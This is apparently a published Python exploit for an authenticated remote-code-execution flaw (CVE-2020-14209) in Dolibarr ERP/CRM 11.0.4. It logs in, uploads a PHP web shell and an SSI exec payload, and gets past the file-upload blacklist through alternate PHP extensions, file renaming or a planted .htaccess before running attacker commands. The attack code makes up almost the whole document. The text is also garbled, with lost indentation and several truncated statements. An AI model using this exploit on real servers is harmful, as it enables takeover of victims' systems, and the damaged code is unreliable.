# Exploit Title: Dolibarr ERP/CRM 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE)  
# Date: 16/06/2020  
# Exploit Author: Andrea Gonzalez  
# Vendor Homepage:  
# Software Link:  
# Version: Prior to 11.0.5  
# Tested on: Debian 9.12   
# CVE : CVE-2020-14209  
# Choose between 3 types of exploitation: extension-bypass, file-renaming or htaccess. If no option is selected, all 3 methods are tested.   
import re  
import sys  
import random  
import string  
import argparse  
import requests  
import urllib.parse  
from urllib.parse import urlparse  
session = requests.Session()  
base_url = ""  
documents_url = ""  
proxies = {}  
user_id = -1  
class bcolors:  
BOLD = '\033[1m'  
HEADER = '\033[95m'  
OKBLUE = '\033[94m'  
OKGREEN = '\033[92m'  
WARNING = '\033[93m'  
FAIL = '\033[91m'  
ENDC = '\033[0m'  
def printc(s, color):  
def read_args():  
parser = argparse.ArgumentParser(description='Dolibarr exploit - Choose one or more methods (extension-bypass, htaccess, file-renaming). If no method is chosen, every method is tested.')  
parser.add_argument('base_url', metavar='base_url', help='Dolibarr base URL.')  
parser.add_argument('-d', '--documents-url', dest='durl', help='URL where uploaded documents are stored (default is base_url/../documents/).')  
parser.add_argument('-c', '--command', dest='cmd', default="id", help='Command to execute (default "id").')  
parser.add_argument('-x', '--proxy', dest='proxy', help='Proxy to be used.')  
parser.add_argument('--extension-bypass', dest='fbypass', action='store_true',  
help='Files with executable extensions are uploaded trying to bypass the file extension blacklist.')  
parser.add_argument('--file-renaming', dest='frenaming', action='store_true',  
help='A PHP script is uploaded and .php extension is added using file renaming function.')  
parser.add_argument('--htaccess', dest='htaccess', action='store_true',  
help='Apache .htaccess file is uploaded so files with .noexe extension can be executed as a PHP script.')  
required = parser.add_argument_group('required named arguments')  
required.add_argument('-u', '--user', help='Username', required=True)  
required.add_argument('-p', '--password', help='Password', required=True)  
return parser.parse_args()  
def error(s, end=False):  
printc(s, bcolors.HEADER)  
if end:  
Returns user id  
def login(user, password):  
data = {  
"actionlogin": "login",  
"loginfunction": "loginfunction",  
"username": user,  
"password": password  
login_url = urllib.parse.urljoin(base_url, "index.php")  
r =, data=data, proxies=proxies)  
regex = re.compile(r"user/card.php\?id=(\d+)")  
match =  
return int(  
except Exception as e:  
return -1  
def upload(filename, payload):  
files = {  
"userfile": (filename, payload),  
data = {  
"sendit": "Send file"  
headers = {  
"Referer": base_url  
upload_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id), files=files, headers=headers, data=data, proxies=proxies)  
def delete(filename):  
data = {  
"action": "confirm_deletefile",  
"confirm": "yes",  
"urlfile": filename  
headers = {  
"Referer": base_url  
delete_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id), headers=headers, data=data, proxies=proxies)  
def rename(filename, new_filename):  
data = {  
"action": "renamefile",  
"modulepart": "user",  
"renamefilefrom": filename,  
"renamefileto": new_filename,  
"renamefilesave": "Save"  
headers = {  
"Referer": base_url  
rename_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id), headers=headers, data=data, proxies=proxies)  
def test_payload(filename, payload, query, headers={}):  
file_url = urllib.parse.urljoin(documents_url, "users/%d/%s?%s" % (user_id, filename, query))  
r = session.get(file_url, headers=headers, proxies=proxies)  
if r.status_code != 200:  
error("Error %d %s" % (r.status_code, file_url))  
elif payload in r.text:  
error("Non-executable %s" % file_url)  
printc("Payload was successful! %s\nOutput: %s" % (file_url, r.text.strip()), bcolors.OKGREEN)  
return True  
return False  
def get_random_filename():  
return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))  
def upload_executable_file_php(payload, query):  
php_extensions = [".php", ".pht", ".phpt", ".phar", ".phtml", ".php3", ".php4", ".php5", ".php6", ".php7"]  
random_filename = get_random_filename()  
b = False  
for extension in php_extensions:  
filename = random_filename + extension  
upload(filename, payload)  
if test_payload(filename, payload, query):  
b = True  
return b  
def upload_executable_file_ssi(payload, command):  
filename = get_random_filename() + ".shtml"  
upload(filename, payload)  
return test_payload(filename, payload, '', headers={'ACCEPT': command})  
def upload_and_rename_file(payload, query):  
filename = get_random_filename() + ".php"  
upload(filename, payload)  
rename(filename + ".noexe", filename)  
return test_payload(filename, payload, query)  
def upload_htaccess(payload, query):  
filename = get_random_filename() + ".noexe"  
upload(filename, payload)  
filename_ht = get_random_filename() + ".htaccess"  
upload(filename_ht, "AddType application/x-httpd-php .noexe\nAddHandler application/x-httpd-php .noexe\nOrder deny,allow\nAllow from all\n")  
rename(filename_ht, ".htaccess")  
return test_payload(filename, payload, query)  
if __name__ == "__main__":  
args = read_args()  
base_url = args.base_url if args.base_url[-1] == '/' else args.base_url + '/'  
documents_url = args.durl if args.durl else urllib.parse.urljoin(base_url, "../documents/")  
documents_url = documents_url if documents_url[-1] == '/' else documents_url + '/'  
user = args.user  
password = args.password  
payload = "<?php system($_GET['cmd']) ?>"  
payload_ssi = '<!--#exec cmd="$HTTP_ACCEPT" -->'  
command = args.cmd  
query = "cmd=%s" % command  
if args.proxy:  
proxies = {"http": args.proxy, "https": args.proxy}  
user_id = login(user, password)  
if user_id < 0:  
error("Login error", True)  
printc("Successful login, user id found: %d" % user_id, bcolors.OKGREEN)  
print('-' * 30)  
if not args.fbypass and not args.frenaming and not args.htaccess:  
args.fbypass = args.frenaming = args.htaccess = True  
if args.fbypass:  
printc("Trying extension-bypass method\n", bcolors.BOLD)  
b = upload_executable_file_php(payload, query)  
b = upload_executable_file_ssi(payload_ssi, command) or b  
if b:  
printc("\nextension-bypass was successful", bcolors.OKBLUE)  
printc("\nextension-bypass was not successful", bcolors.WARNING)  
print('-' * 30)  
if args.frenaming:  
printc("Trying file-renaming method\n", bcolors.BOLD)  
if upload_and_rename_file(payload, query):  
printc("\nfile-renaming was successful", bcolors.OKBLUE)  
printc("\nfile-renaming was not successful", bcolors.WARNING)  
print('-' * 30)  
if args.htaccess:  
printc("Trying htaccess method\n", bcolors.BOLD)  
if upload_htaccess(payload, query):  
printc("\nhtaccess was successful", bcolors.OKBLUE)  
printc("\nhtaccess was not successful", bcolors.WARNING)  
print('-' * 30)